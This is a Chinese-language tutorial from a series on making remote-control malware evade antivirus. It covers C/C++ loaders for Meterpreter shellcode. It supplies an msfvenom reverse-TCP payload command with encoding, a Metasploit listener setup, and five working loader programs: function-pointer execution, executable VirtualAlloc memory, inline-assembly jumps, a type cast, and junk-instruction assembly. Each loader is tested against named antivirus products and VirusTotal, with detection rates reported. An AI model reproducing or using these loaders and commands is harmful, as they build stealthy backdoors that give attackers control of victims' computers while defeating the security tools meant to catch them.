【免杀篇】远控免杀专题(26)-C、C++加载shellcode免杀(上)


当你的才华

还撑不起你的野心时

那你就应该静下心来学习


目录

0x01 C/C++加载shellcode免杀介绍

0x02 C/C++源码编译

方法1:指针执行(VT免杀率23/71)

方法2:申请动态内存加载(VT免杀率24/71)

方法3:嵌入汇编加载(VT免杀率12/71)

方法4:强制类型转换(VT免杀率9/70)

方法5:汇编花指令(VT免杀率12/69)


 

本文目录:(由于内容较多篇幅较长,分成了上中下三篇文章)

                                                                                      免杀能力一览表

 

0x01 C/C++加载shellcode免杀介绍

在此之前对各种常见免杀工具进行了介绍,也可以从中了解很多免杀工具的原理,很多都是使用msfvenom生成shellcode,然后对shellcode进行混淆、编码等各种处理,最终再使用各种语言进行编译或加载。而被用到的最多的语言就是C/C++、C#和python。

这里我们介绍一下C/C++加载shellcode手工编译的方法,一般分为两种方式:

1、C/C++源码+shellcode直接编译,其中对shellcode的执行可以使用函数指针执行、汇编指令执行、申请动态内存等方式,且shellcode可进行一些加密混淆处理;比如免杀工具veil和Venom都是使用了类似的方法。

2、使用加载器加载C/C++代码,如shellcode_launcher之类。

 

0x02 C/C++源码编译

方法1:指针执行(VT免杀率23/71)

这是最常规的一种加载shellcode的方法,使用指针来执行函数,所以免杀效果可能比较一般。

先用Msfvenom生成c语言的shellcode,为了提高免杀效果,使用了shikata_ga_nai编码器。

msfvenom -p  windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=10.211.55.2 lport=3333  -f c -o shell.c

【免杀篇】远控免杀专题(26)-C、C++加载shellcode免杀(上)_第1张图片

把shell.c中的shellcode内容拷贝到下面的buf[]中。

unsigned char buf[] =

"shellcode";

#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //windows控制台程序不出黑窗口

main()

{

    ( (void(*)(void))&buf)();

}

上面的代码中pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")是控制执行后是否显示黑窗口的,不加这句的时候会显示一个黑窗口。可根据自己需要进行设置。

我用vs2017进行编译,先新建空项目

【免杀篇】远控免杀专题(26)-C、C++加载shellcode免杀(上)_第2张图片

在源文件中创建test.c,写入上面的C代码和shellcode。

【免杀篇】远控免杀专题(26)-C、C++加载shellcode免杀(上)_第3张图片

然后编译生成exe

【免杀篇】远控免杀专题(26)-C、C++加载shellcode免杀(上)_第4张图片

在msf中进行监听

use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.211.55.2
set LPORT 3333
set EnableStageEncoding true

然后执行生成的Project2.exe

【免杀篇】远控免杀专题(26)-C、C++加载shellcode免杀(上)_第5张图片

msf中可正常上线

【免杀篇】远控免杀专题(26)-C、C++加载shellcode免杀(上)_第6张图片

打开杀软进行测试,火绒静态和动态都可查杀,360杀毒和卫士没有反应

【免杀篇】远控免杀专题(26)-C、C++加载shellcode免杀(上)_第7张图片

virustotal.com上查杀率23/71

 

【免杀篇】远控免杀专题(26)-C、C++加载shellcode免杀(上)_第8张图片

方法2:申请动态内存加载(VT免杀率24/71)

下面的代码会申请一段动态内存,然后加载shellcode。

#include 
#include 
#include 

#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //windows控制台程序不出黑窗口

unsigned char buf[] =
"shellcode";


main()

{
    char *Memory;

    Memory=VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    memcpy(Memory, buf, sizeof(buf));

    ((void(*)())Memory)();

}

还是使用方法1的方式进行编译

【免杀篇】远控免杀专题(26)-C、C++加载shellcode免杀(上)_第9张图片

msf中可正常上线

【免杀篇】远控免杀专题(26)-C、C++加载shellcode免杀(上)_第10张图片

打开杀软进行测试,和方法1一样,火绒静态和动态都可查杀,360杀毒和卫士没有反应

【免杀篇】远控免杀专题(26)-C、C++加载shellcode免杀(上)_第11张图片

virustotal.com上查杀率24/71

【免杀篇】远控免杀专题(26)-C、C++加载shellcode免杀(上)_第12张图片

方法3:嵌入汇编加载(VT免杀率12/71)

#include 
#include 
#pragma comment(linker, "/section:.data,RWE")
unsigned char shellcode[] ="";

void main()
{

        __asm
    {

        mov eax, offset shellcode
        jmp eax

    }
}

在vs2017中编译执行

【免杀篇】远控免杀专题(26)-C、C++加载shellcode免杀(上)_第13张图片

msf中可正常上线

【免杀篇】远控免杀专题(26)-C、C++加载shellcode免杀(上)_第14张图片

打开杀软进行测试,这时候发现火绒一个Bug,火绒静态可查杀但是行为检测没报警,360杀毒和卫士没有反应,直接上线。

【免杀篇】远控免杀专题(26)-C、C++加载shellcode免杀(上)_第15张图片

【免杀篇】远控免杀专题(26)-C、C++加载shellcode免杀(上)_第16张图片

virustotal.com上查杀率12/71

【免杀篇】远控免杀专题(26)-C、C++加载shellcode免杀(上)_第17张图片

方法4:强制类型转换(VT免杀率9/70)

和方法1有些类似

#include 
#include 

unsigned char buf[] ="";

void main()
{
   ((void(WINAPI*)(void))&buf)();
}

打开杀软测试,静态+动态都没问题,可正常上线

【免杀篇】远控免杀专题(26)-C、C++加载shellcode免杀(上)_第18张图片

virustotal.com上查杀率9/70

【免杀篇】远控免杀专题(26)-C、C++加载shellcode免杀(上)_第19张图片

方法5:汇编花指令(VT免杀率12/69)

和方法3比较类似

#include 
#include 
#pragma comment(linker, "/section:.data,RWE")
unsigned char shellcode[] ="";

void main()
{
        __asm
    {

        mov eax, offset shellcode
        _emit 0xFF  
        _emit 0xE0

    }
}

打开杀软进行测试,和方法3一样火绒出现bug,火绒静态可查杀但是行为检测没报警,360杀毒和卫士没有反应,直接上线。

【免杀篇】远控免杀专题(26)-C、C++加载shellcode免杀(上)_第20张图片

virustotal.com上查杀率12/69

【免杀篇】远控免杀专题(26)-C、C++加载shellcode免杀(上)_第21张图片

 

参考链接:

Meterpreter免杀总结:   https://carlstar.club/2019/01/04/dig/

shellcode加载总结:  https://uknowsec.cn/posts/notes/shellcode%E5%8A%A0%E8%BD%BD%E6%80%BB%E7%BB%93.html

浅谈meterpreter免杀:https://www.jianshu.com/p/9d2790f6c8aa

 


虽然我们生活在阴沟里,但依然有人仰望星空!


 

你可能感兴趣的:(免杀篇)